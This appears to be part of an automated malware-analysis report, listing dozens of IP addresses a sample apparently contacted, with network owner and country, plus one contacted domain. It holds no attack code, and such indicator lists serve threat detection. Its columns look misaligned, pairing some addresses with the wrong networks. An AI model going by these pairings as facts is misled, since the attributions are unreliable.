30722 VODAFONE-IT-ASNIT false
193.143.1.70
 unknown unknown
57271 BITWEB-ASRU false
56.14.117.227
 unknown United States
2686 ATGS-MMD-ASUS false
159.141.158.106
 unknown United States
46233 UNASSIGNED false
94.172.2.48
 unknown Netherlands
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
176.114.39.164
 unknown Russian Federation
42975 FEOSKY-ASRU false
162.169.201.199
 unknown United States
21928 T-MOBILE-AS21928US false
221.106.106.33
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
6.168.60.24
 unknown United States
3356 LEVEL3US false
107.214.176.126
 unknown United States
7018 ATT-INTERNET4US false
213.211.168.121
 unknown Belgium
9031 EDPNETBE false
199.89.231.15
 unknown United States
15011 JAGUAR-1US false
164.184.45.197
 unknown United States
37717 EL-KhawarizmiTN false
152.107.198.38
 unknown South Africa
36994 Vodacom-VBZA false
213.177.197.254
 unknown Spain
15704 AS15704ES false
50.211.213.107
 unknown United States
7922 COMCAST-7922US false
43.157.166.13
 unknown Japan 4249 LILLY-ASUS false
202.137.174.64
 unknown Australia
38195 SUPERLOOP-AS-APSuperloopAU false
150.194.200.120
 unknown United States
1479 DNIC-ASBLK-01478-01479US false
43.155.5.103
 unknown Japan 4249 LILLY-ASUS false
199.203.133.218
 unknown United States
1680 NV-ASNCELLCOMltdIL false
95.52.174.151
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
110.135.147.45
 unknown Japan 9824 JTCL-JP-ASJupiterTelecommunicationCoLtdJP false
164.13.76.138
 unknown Finland
50195 UMSI false
169.240.79.38
 unknown United States
47024 THE-METROHEALTH-SYSTEMUS false
125.235.99.9
 unknown Viet Nam
7552 VIETEL-AS-APViettelGroupVN false
33.249.141.50
 unknown United States
2686 ATGS-MMD-ASUS false
100.180.91.1
 unknown United States
21928 T-MOBILE-AS21928US false
210.96.242.174
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
191.53.9.4
 unknown Brazil
28202 RedeBrasileiradeComunicacaoLtdaBR false
49.137.193.183
 unknown India
55701 ASNET-AS-IDPTUsahaAdisanggoroID false
25.148.243.58
 unknown United Kingdom
7922 COMCAST-7922US false
82.90.187.12
 unknown Italy
3269 ASN-IBSNAZIT false
176.164.176.57
 unknown France
5410 BOUYGTEL-ISPFR false
3.68.202.181
 unknown United States
16509 AMAZON-02US false
180.101.213.122
 unknown China
134770 CHINANET-JIANGSU-SUZHOU-NETWORKCHINANETJiangsuprovinceSu false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.24 true